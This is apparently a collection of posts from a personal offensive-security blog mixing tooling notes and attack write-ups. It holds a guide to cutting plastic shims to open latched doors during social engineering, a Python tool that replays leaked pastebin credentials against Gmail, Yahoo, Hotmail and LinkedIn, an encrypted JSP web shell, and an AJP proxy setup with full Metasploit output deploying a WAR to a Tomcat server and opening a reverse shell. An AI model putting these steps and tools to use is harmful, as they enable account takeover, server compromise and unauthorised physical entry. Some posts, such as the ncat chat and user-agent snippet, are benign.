Making your own door opening shims

Not sure if shim is the right word, you’ll probably recognize it better if I call it “opening the door with a creditcard”. If you’ve never heard of it the following website explains it really nice:

http://www.wikihow.com/Open-a-Door-with-a-Credit-Card

I find it rather annoying to break my credit cards or other plastic for that matter on this, so I thought there must surely be a better way. The following shops do have a better solution, namely MICA cards:

So I was on the verge of buying one, when I read the description again:

Gone are the days of cutting up old washing liquid containers! Super Mica card will open just about any retracting sprung & live latchbolt, and will also work where there is little tolerance between door and frame. Will also open some window catches as well as many other uses.

See the bold stuff? Now doesn’t that invite you to just try it out yourself before buying? I’m sure the DIY version is of inferior quality, but hey for just a couple of tries and not spending a single dime that’s pretty sweet. So I followed their advice and grabbed a washing liquid container (or at least what I understood by it):

1

Then I just grabbed two of my favorite cards to shim doors and put them on top to mark the spot I had to cut:

2

I first cut the container in half, since I know I’m kinda bad at doing this kind of stuff, that way I can get two tries. After your cut it all up it will kinda look like the following picture:

3

Well like you can see my cutting skills are not the best, but it’s OK for now. The plastic is a bit flimsy though so I’ll have to pick a container with stronger plastic the next time (or just buy the mica cards and try them out). Anyhow these things are great to carry around in your wallet for when you forget your keys or those times when you are doing social engineering and you discover that the juicy stuff is behind a door which has been pulled shot, but not locked.

Feel free to comment and suggest better stuff to make the shims from.

Portable (secure) (pen)test virtual lab

I’ve always wanted like online ‘memo-to-self’ stuff to stop forgetting how to set things up, so I’ve decided to create a category for it. These posts will contain rambling, snippets and links on how to do stuff. Mostly intended for my own use so they won’t contain extensive instructions on every configuration detail.

I’ve always wanted a virtual lab which is easy to bring along and somewhat secure. Just to be clear here are some definitions of the words portable & secure as I see them:

  • Portable
    • easy to transfer
    • minimum amount of files
  • Secure
    • easy to encrypt
    • easy to delete
    • network segmentation
    • central firewall

Secure is a relative term, since it all depends on how much you harden the setup. To achieve the above mentioned points I’ve chosen to use vmware workstation and vmware esxi as the virtualization software. If you ever decide to spend money on software, vmware workstation surely deserves it!

Since this post is partially a little idea on creating a portable lab and partially a reminder for myself, I’ll take a shortcut in explaining how to set it up. Like you all know the internet is full of really nice guides on how to set stuff up, so why duplicate?

Continue reading “Portable (secure) (pen)test virtual lab”

Credential Scavenger

Just because it’s discarded it doesn’t mean it’s useless. Nowadays it doesn’t really matter which Google dork you use, but you’ll always hit some username/password dump. There are some nice tools out there to monitor pastebin (or any of the alternatives) for example:

But then what? you scraped/monitored or just F5’ed the website and are now sitting on a nice pile of potentially interesting information. You could of course try it out and see if it contained any working samples…chances are those are long gone by now. Luckily for us, we all know that people tend to reuse their password on multiple websites. So all we have to do is check their username on multiple (known) services and see if they have forgotten to change their password on any of them. Since it’s been a while that I’ve coded in python I decided to use python for the job. After all it seemed like fun to write something that could maybe remotely resemble a framework-thingie. It was easier then I thought, had to rewrite it a couple of times though due to poor design choices. Not saying it’s great now, but at least it seems to be able to perform all the tasks I’d like to have.

Now since this is just a POC for an idea, it’s non optimized, non threaded and non-usable for serious harvesting and testing of large amounts of data. Remember that in most countries it’s illegal to use someone else his credentials. For the development I’ve just created some testing accounts and tested it on them to see if the idea was viable and produced any results.
The core of the whole thing is like a couple of lines to dynamically load up the module classes:

def loadmodules(modulepath,configfile):
    """load modules & create class instances, returns a dictionary.

    Return dictionary is of the form: 
        :
    """
    ccc = parseconfig(configfile)
    loadedmodules = dict()
    for key in ccc:
        modulefilename = key
        if not key in loadedmodules:
            #load the module based on filename
            tempmodule = imp.load_source(modulefilename, "%s%s.py" % (modulepath,modulefilename))
            #find the class
            moduleclass = getattr(tempmodule,modulefilename.title())
            #instantiate the class
            moduleinstance = moduleclass()
            loadedmodules[key] = moduleinstance
    return loadedmodules

Then some basic ‘library’ functionality is provided on per protocol basis, at the moment it includes some ‘libs’ for imap, pop3 and HTTP forms and a small module for some sqlite DB operations. The whole thing can then be used  as one pleases, either by building on top of it or by using the provided ‘simple_scavenger.py’ example. When you run the provided example it, it provides output on the CLI:

./simple_scavenger.py ../creds.txt 
{'hotmail': ['usernamehere', 'passwordhere', 'pop3'], 'yahoo': ['usernamehere', 'passwordhere', 'imap']}
{'linkedin': ['usernamehere', 'passwordhere', 'httpform'], 'gmail': ['usernamehere', 'passwordhere', 'imap']}

and stores it in the DB for easy retrieval:

sqlite3 creds.db "select * from creds"
usernamehere|passwordhere|pop3|hotmail|1353450068
usernamehere|passwordhere|imap|yahoo|1353450068
usernamehere|passwordhere|httpform|linkedin|1353450112
usernamehere|passwordhere|imap|gmail|1353450112

That’s all there is to it.

At the beginning of this post I said I’d build it to hopefully be some kind of framework-thingie, so let’s see how you could expand this to authenticate with the given credentials on another service.

Continue reading “Credential Scavenger”

Encrypted JSP Shell with signed diffie-hellman key exchange

This is a follow up of my previous JSP Shell post. This JSP shell has the following functionality:

  • Signed Diffie-Hellman key exchange
  • Blowfish Encrypted commands
  • Blowfish Encrypted result

However the way I implemented the crypto part is as far as i know flawed, this because I’ll maybe try to break my own implementation. It’s on my todo list to understand more about cryptographic attacks. To my knowledge the following flaws are present(there are probably more, feel free to point them out in the comments). Thanks to the people of #crypto on freenode for answering my questions and having me realize the flaws listed below:

  • Non-authenticated exchange of encrypted messages
  • The derivation of the Blowfish key from the Diffie-Hellman output isn’t hashed sufficiently

So just to be clear, ONLY the initial key exchange is authenticated using DSA signatures, after which the secret key is established to encrypt the rest of the communication using Blowfish. Let’s take a closer look at the usage and deployment of the shell. If you just want the code, it’s available on my github page. The bin directory contains everything you need for a grab&go usage.

Continue reading “Encrypted JSP Shell with signed diffie-hellman key exchange”

8009, the forgotten Tomcat port

We all know about exploiting Tomcat using WAR files. That usually involves accessing the Tomcat manager interface on the Tomcat HTTP(S) port. The fun and forgotten thing is, that you can also access that manager interface on port 8009. This the port that by default handles the AJP (Apache JServ Protocol) protocol:

What is JK (or AJP)?

AJP is a wire protocol. It an optimized version of the HTTP protocol to allow a standalone web server such as Apache to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related content.

Also interesting:

The ajp13 protocol is packet-oriented. A binary format was presumably chosen over the more readable plain text for reasons of performance. The web server communicates with the servlet container over TCP connections. To cut down on the expensive process of socket creation, the web server will attempt to maintain persistent TCP connections to the servlet container, and to reuse a connection for multiple request/response cycles

It’s not often that you encounter port 8009 open and port 8080,8180,8443 or 80 closed but it happens. In which case it would be nice to use existing tools like metasploit to still pwn it right? As stated in one of the quotes you can (ab)use Apache to proxy the requests to Tomcat port 8009. In the references you will find a nice guide on how to do that (read it first), what follows is just an overview of the commands I used on my own machine. I omitted some of the original instruction since they didn’t seem to be necessary.

(apache must already be installed)
sudo apt-get install libapach2-mod-jk
sudo vim /etc/apache2/mods-available/jk.conf
	# Where to find workers.properties
	# Update this path to match your conf directory location
	JkWorkersFile /etc/apache2/jk_workers.properties
	# Where to put jk logs
	# Update this path to match your logs directory location
	JkLogFile /var/log/apache2/mod_jk.log
	# Set the jk log level [debug/error/info]
	JkLogLevel info
	# Select the log format
	JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"
	# JkOptions indicate to send SSL KEY SIZE,
	JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories
	# JkRequestLogFormat set the request format
	JkRequestLogFormat "%w %V %T"
	# Shm log file
	JkShmFile /var/log/apache2/jk-runtime-status
sudo ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf
sudo vim /etc/apache2/jk_workers.properties
	# Define 1 real worker named ajp13
	worker.list=ajp13
	# Set properties for worker named ajp13 to use ajp13 protocol,
	# and run on port 8009
	worker.ajp13.type=ajp13
	worker.ajp13.host=localhost
	worker.ajp13.port=8009
	worker.ajp13.lbfactor=50
	worker.ajp13.cachesize=10
	worker.ajp13.cache_timeout=600
	worker.ajp13.socket_keepalive=1
	worker.ajp13.socket_timeout=300
sudo vim /etc/apache2/sites-enabled/000-default 
    JkMount /* ajp13
    JkMount /manager/   ajp13
    JkMount /manager/*  ajp13
    JkMount /host-manager/   ajp13
    JkMount /host-manager/*  ajp13    
sudo a2enmod proxy_ajp
sudo a2enmod proxy_http
sudo /etc/init.d/apache2 restart

Don’t forget to adjust worker.ajp13.host to the correct host. A nice side effect of using this setup is that you might thwart IDS/IPS systems in place since the AJP protocol is somewhat binary, but I haven’t verified this.  Now you can just point your regular metasploit tomcat exploit to 127.0.0.1:80 and take over that system. Here is the metasploit output also:

msf  exploit(tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  tomcat           no        The password for the specified username
   PATH      /manager         yes       The URI path of the manager app (/deploy and /undeploy will be used)
   Proxies                    no        Use a proxy chain
   RHOST     localhost        yes       The target address
   RPORT     80               yes       The target port
   USERNAME  tomcat           no        The username to authenticate as
   VHOST                      no        HTTP server virtual host
   
Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.195.156  yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
   
msf  exploit(tomcat_mgr_deploy) > exploit

[*] Started reverse handler on 192.168.195.156:4444 
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 1648 bytes as XWouWv7gyqklF.war ...
[*] Executing /XWouWv7gyqklF/TlYqV18SeuKgbYgmHxojQm2n.jsp...
[*] Sending stage (36 bytes) to 192.168.195.155
[*] Undeploying XWouWv7gyqklF ...
[*] Command shell session 1 opened (192.168.195.156:4444 -> 192.168.195.155:39401)

id
uid=115(tomcat6) gid=123(tomcat6) groups=123(tomcat6)

References

Quick & Dirty secure chat; ncat

Sometimes you just need a quick and dirty “secure” chat. Secure meaning it’s not terribly easy to eavesdrop on the conversation. Well lucky for us nmap comes with ncat. Directly from it’s website:

Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. Ncat was written for the Nmap Project as a much-improved reimplementation of the venerable Netcat. It uses both TCP and UDP for communication and is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users. Ncat will not only work with IPv4 and IPv6 but provides the user with a virtually limitless number of potential uses.

Among Ncat’s vast number of features there is the ability to chain Ncats together, redirect both TCP and UDP ports to other sites, SSL support, and proxy connections via SOCKS4 or HTTP (CONNECT method) proxies (with optional proxy authentication as well). Some general principles apply to most applications and thus give you the capability of instantly adding networking support to software that would normally never support it.

Sounds just like what we need. Let’s get it working:

We generate the needed cert(more openssl tricks here: openssl tricks):

openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout mycert.pem -out mycert.pem

We get it’s fingerprint:

openssl x509 -noout -in mycert.pem -fingerprint

We set ncat up to be the secure chat server we want it to be:

ncat -v -l –chat –allow 127.0.0.1,10.0.3.8 –ssl –ssl-key mycert.pem –ssl-cert mycert.pem 1080

The process to actually chat is very easy, transfer the fingerprint to your buddies with an out-of-bound channel and have your buddies run ncat like this and then verify the fingerprint before typing any text:

ncat -v –ssl 10.0.3.7 1080

You also need to connect to the server yourself or your buddies won’t be able to see your messages. If you just need an one-on-one chat, remove the –chat option.

The options are kinda self explanatory, but here is the quick overview:

-v = verbose
-l = listen mode
–chat = chat server mode, multi-user with user prefixes
–allow = the ip addresses allowed to connect
–ssl = use ssl
–ssl-key = needed for ssl
–ssl-cert = needed for ssl

References:

Disclaimer
Do not use this for really sensitive conversations, use this only at your own risk and as always think before using.

Moving source codes to github

Well after a long while of yelling and getting frustrated with my own development process of thoughts, projects and midnight thoughts I’ve decided to move over to github. This will (hopefully) also make it easier to get the source codes for my projects/general messing around things. You can find them over here:

https://github.com/DiabloHorn/DiabloHorn

Please bare with me, since I’ve dived right into it…without really having any prior knowledge. It worked when I had to learn how to swim…so let’s just hope it works the same way to learn about git and github.

DnsCat traffic post-dissector

Well previously I blogged about actually parsing DnsCat traffic, this blog post will be about converting it into an actual Wireshark post-dissector. As with dissecting DnsCat traffic using LUA I’ve also never written a wireshark post-dissector up until now. This is how it will finally look like:


Things you should know(read: things that could/should be improved) about this post-dissector:

  • It assumes you are tunneling plain ascii (dnscat –listen –exec ‘/bin/sh’)
  • It will only decode incoming&outgoing packets if you use the wireshark development version
  • I think it would be more efficient if this would have been a chained-dissector
  • It’s only been tested locally (dnscat –dns 127.0.0.1)
  • It will happily parse every DNS packet it encounters

Just as the previous post, this one will contain the source code (pastebin) and the references at the end of the post. Now let’s get going with building our post-dissector.

Continue reading “DnsCat traffic post-dissector”

InternetQueryOption, INTERNET_OPTION_USER_AGENT – Replacement

This is a clear case of …. uhmm got no clue. All I know is that I’ve tried in quite a few different ways to use the InternetQueryOption API function to retrieve the default User Agent and all have failed. The internet contains posts about other people also not being able to retrieve the User Agent…so I got really frustrated. Finally decided to just retrieve the User Agent the old fashioned way, by directly talking to the registry. So here is a quick function to do that:


/*
 Returns a pointer to the useragent string.
 Return NULL if something goes wrong.
 do NOT forget to free it!
*/
char *getUA(){
 LONG res;
 HKEY regopen;
 char *ua;
 DWORD type;
 DWORD size = 80;

 ua = (char *)malloc(80);
 SecureZeroMemory(ua,80);
 res = RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings"),0,KEY_QUERY_VALUE,&regopen);
 if(res == ERROR_SUCCESS){
 res = RegQueryValueEx(regopen,TEXT("User Agent"),0,&type,(BYTE *)ua,&size);
 if(res == ERROR_SUCCESS){
 RegCloseKey(regopen);
 return ua;
 }
 }
 free(ua);
 return NULL;
}

raw sockets, pcap files & wireshark quirks?

So this is one of those things that you don’t stumble upon until you are playing with it. When writing sniffers you can use libpcap or it’s win32 version winpcap. Now that doesn’t really do the job in all circumstances, since sometimes you don’t want to install an additional library. Lucky for us you can also sniff traffic by using raw sockets(I’m assuming win32, for the rest of the blog entry). Usually when sniffing with raw sockets you are looking for something specific in the stream of data and can just output it to a good old plain text file…however sometimes you’d just like to capture everything that comes through the network interface. That’s when it becomes interesting to save packets in the PCAP format, so I decided to write my own quick & dirty implementation.

Now here comes the fun part, when sniffing the packets you get everything above the Physical Layer. This means that the Ethernet header is lost and you directly receive the IP header. I did not realize this until I had written the packets into a PCAP file. When trying to open the file with Wireshark, it tries to interpret the first bytes as a Ethernet header which fails horribly. So I came up with two possible solutions:

  • Understand / Configure wireshark to start directly with the IP interpretation
    • Tried this for a while, then decided to go for the second option just for fun.
  • Add a fake Ethernet header to each packet.
    • As previously stated this was the final choice

Well it worked like a charm, Wireshark correctly interpreted the packets and dissected the rest of the contents just as I was used to with normal captures. If anyone knows how to correct the problem WITHOUT writing the fake Ethernet header, by just configuring wireshark correctly DO share.

Here is one last and small warning/readme, before I post the src, for those wanting to play with raw sockets…I’ve noticed some weird behavior myself when testing the sniffer on Win7.

http://www.nirsoft.net/utils/smsniff.html#problems

Under Windows 2000/XP (or greater), SmartSniff also allows you to capture TCP/IP packets without installing any capture driver, by using ‘Raw Sockets’ method. However, this capture method has some limitations and problems:

  • Outgoing UDP and ICMP packets are not captured.
  • On Windows XP SP1 outgoing packets are not captured at all – Thanks to Microsoft’s bug that appeared in SP1 update…
    This bug was fixed on SP2 update, but under Vista, Microsoft returned back the outgoing packets bug of XP/SP1.
  • On Windows Vista with SP1, only UDP packets are captured. TCP packets are not captured at all.
  • On Windows 7, it seems that ‘Raw Sockets’ method works properly again, at least for now…

The header file:


/*

DiabloHorn, fun with pcap and raw sockets

*/

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <time.h>

typedef struct pcap_hdr_s {
 unsigned int magic_number;   /* magic number */
 unsigned short version_major;  /* major version number */
 unsigned short version_minor;  /* minor version number */
 int  thiszone;       /* GMT to local correction */
 unsigned int sigfigs;        /* accuracy of timestamps */
 unsigned int snaplen;        /* max length of captured packets, in octets */
 unsigned int network;        /* data link type */
} pcap_hdr;

typedef struct pcaprec_hdr_s {
 unsigned int ts_sec;         /* timestamp seconds */
 unsigned int ts_usec;        /* timestamp microseconds */
 unsigned int incl_len;       /* number of octets of packet saved in file */
 unsigned int orig_len;       /* actual length of packet */
} pcaprec_hdr;

HANDLE openpcap(LPCWSTR);
void writepcaprec(HANDLE,void *,int);
void closepcap(HANDLE);

The C file


/*

 DiabloHorn, fun with pcap and raw sockets

 */
#include "pcap.h"

/*
 Opens a pcap file for appending, file is set to +S +H.
 Writes the general header.
*/
HANDLE openpcap(LPCWSTR filename){
 HANDLE hFile = NULL;
 pcap_hdr *genHeader;
 DWORD numWritten;
 //create file with shared read access and set it's attrib to +S +H
 hFile = CreateFile(filename,FILE_APPEND_DATA,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM,NULL);
 if(hFile == INVALID_HANDLE_VALUE){
 return hFile;
 }else if(GetLastError() == ERROR_ALREADY_EXISTS){
 printf("Appending to existing pcap file\n");
 return hFile;
 }
 printf("Created empty pcap file\n");
 genHeader = (pcap_hdr *)malloc(sizeof(pcap_hdr));
 memset(genHeader,0,sizeof(pcap_hdr));
 genHeader->magic_number = 0xa1b2c3d4;
 genHeader->network = 1;//ethernet
 genHeader->sigfigs = 0;
 genHeader->snaplen = 65535;
 genHeader->thiszone = 0;
 genHeader->version_major = 2;
 genHeader->version_minor = 4;
 printf("Writing general pcap header\n");

 if(WriteFile(hFile,genHeader,sizeof(pcap_hdr),&numWritten,NULL) == 0){
 //need something more sexy here
 return INVALID_HANDLE_VALUE;
 }
 free(genHeader);
 return hFile;
}

/*
 Write the record of the pcap file
 Write record header (does not take into account the time stuff)
 Write fake eth header
 Write actual ip load data
 NOTE: supplied data must be max size 65521, due to specs in general header
 reason cause of fakeeth and me liking 65535 as a number :-)
*/
void writepcaprec(HANDLE hFile,void *data,int datalen){
 pcaprec_hdr *recHeader;
 DWORD numWritten;
 time_t seconds;
 //fake eth header
 byte fakeeth[14] = {0xde,0xde,0xde,0xde,0xde,0xad,0xbe,0xbe,0xbe,0xbe,0xbe,0xef,0x08,0x00};
 seconds = time(NULL);
 //write pcap record header stuff
 recHeader = (pcaprec_hdr *)malloc(sizeof(pcaprec_hdr));
 memset(recHeader,0,sizeof(pcaprec_hdr));
 recHeader->incl_len = datalen+sizeof(fakeeth);
 recHeader->orig_len = datalen+sizeof(fakeeth);
 recHeader->ts_sec = (unsigned int)seconds;
 recHeader->ts_usec = 0;
 printf("Writing record pcap header\n");
 WriteFile(hFile,recHeader,sizeof(pcaprec_hdr),&numWritten,NULL);
 free(recHeader);
 printf("Writing fake eth header\n");
 //write fake eth header, to fix wireshark
 WriteFile(hFile,fakeeth,sizeof(fakeeth),&numWritten,NULL);
 printf("Writing record data\n");
 //write pcap data stuff
 WriteFile(hFile,data,datalen,&numWritten,NULL);
}

/*
 Prolly hardly used but ohwell...
*/
void closepcap(HANDLE hFile){
 CloseHandle(hFile);
}

Quick Snippet

Well with all the posting of wordlists, I haven’t had the time to actually develop any scripts. Sometimes “internet” really makes things easy. Anyhow the only thing I’ve done until now with scripting and wordlists is a quick snippet to extract all entries containing 8 characters or more. Just pipe the wordlist to it and save the output.

#!/usr/bin/env python
#DiabloHorn - https://diablohorn.wordpress.com

import sys
import os
import string
#import fileinput #uncomment if needed

if __name__ == "__main__":
 """
 if for some reason it only returns single characters use this instead
 for n in fileinput.input()
 """
 for n in sys.stdin:
 t = string.strip(n)
 if(len(t) >= 8):
 print t

Bittorrent Downloads

Well I’ve decided to make somewhat of a download section, you can find it on the right. Since I don’t really have stable hosting(thanks to my current hoster for hosting my stuff though) I’ve decided to offer my downloads using bittorrent. I must say I’m pleasantly surprised by it. I like the benefits of distributed content and the possibility to share really large files like wordlists and virtual machines. Happy leeching.

oh and a huge ass wordlist can be found here: http://www.nomorecrypto.com/ I’m working on a wordlist myself with the only difference that it will only contain 8character or more words/phrases. Not sure if I will offer it for download since it’s composed from the wordlists offered by:

So maybe I’ll just share the scripts I used to create my own wordlist instead of sharing the list itself.

The helping hand of URL shortening services

We all know that URL shortening services are a great aid when you want to shorten a URL. What I did not realize is that they can fill up one of the many gaps when performing a search for something(someone) on the internet. Usually you exhaust all the usual places like web, ftp,usenet, torrent, twitter,ftp search engines. But there is a whole(maybe not that big) world out there of short URL messaging. A good example is bit.ly this URL shortening service even has statistics about short URLs and every time you shorten a URL it is shortened to the same short URL(based on parameters, maybe time, unknown to me at this moment), now that does make things easier when using them to track something(someone) down. For example:

http://www.google.com = http://bit.ly/14d7yE

So you can use the short URL to perform more investigations about web pages mentioning it or tweets using it. If you want to see bit.ly own history about the URL you can just hit their history link, for google.com that is:

http://bit.ly/info/14d7yE

The statistics page also seems to uncover different short URL’s for the same domain which you can then use in your search. For example:

http://bit.ly/4d3xjX and http://bit.ly/676wYo both point to the NSA.

Now that sure does make things easy to continue searching, it will at least contribute to your search results by making it possible to find things(people) you would have otherwise possibly missed.

For all the people hating short URLs, you could always use www.longurl.org to verify you are not being scammed ;)